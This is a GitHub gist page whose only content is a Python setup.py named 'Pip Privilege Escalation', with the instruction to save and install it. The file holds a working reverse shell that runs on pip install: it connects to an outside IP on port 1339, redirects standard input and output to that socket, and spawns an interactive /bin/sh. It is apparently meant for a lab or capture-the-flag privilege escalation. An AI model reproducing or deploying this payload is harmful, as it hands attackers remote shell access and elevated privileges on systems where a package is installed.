Skip to content

Instantly share code, notes, and snippets.

@Ge0rg3
Created September 14, 2018 22:12
Show Gist options
  • Select an option

  • Save Ge0rg3/8cf919b4076175c0db2effaee2c8a2a1 to your computer and use it in GitHub Desktop.

Select an option

Save Ge0rg3/8cf919b4076175c0db2effaee2c8a2a1 to your computer and use it in GitHub Desktop.
Save as setup.py, and install it.
from distutils.command.build_py import build_py as _build_py
from distutils.command.build_py import build_py as _build_py
from distutils.core import setup
import socket, subprocess, os
class build_py(_build_py):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.15.xxx",1339))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p = subprocess.call(["/bin/sh","-i"])
setup(
name = "Pip Privilege Escalation",
cmdclass = {'build_py':build_py}
)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment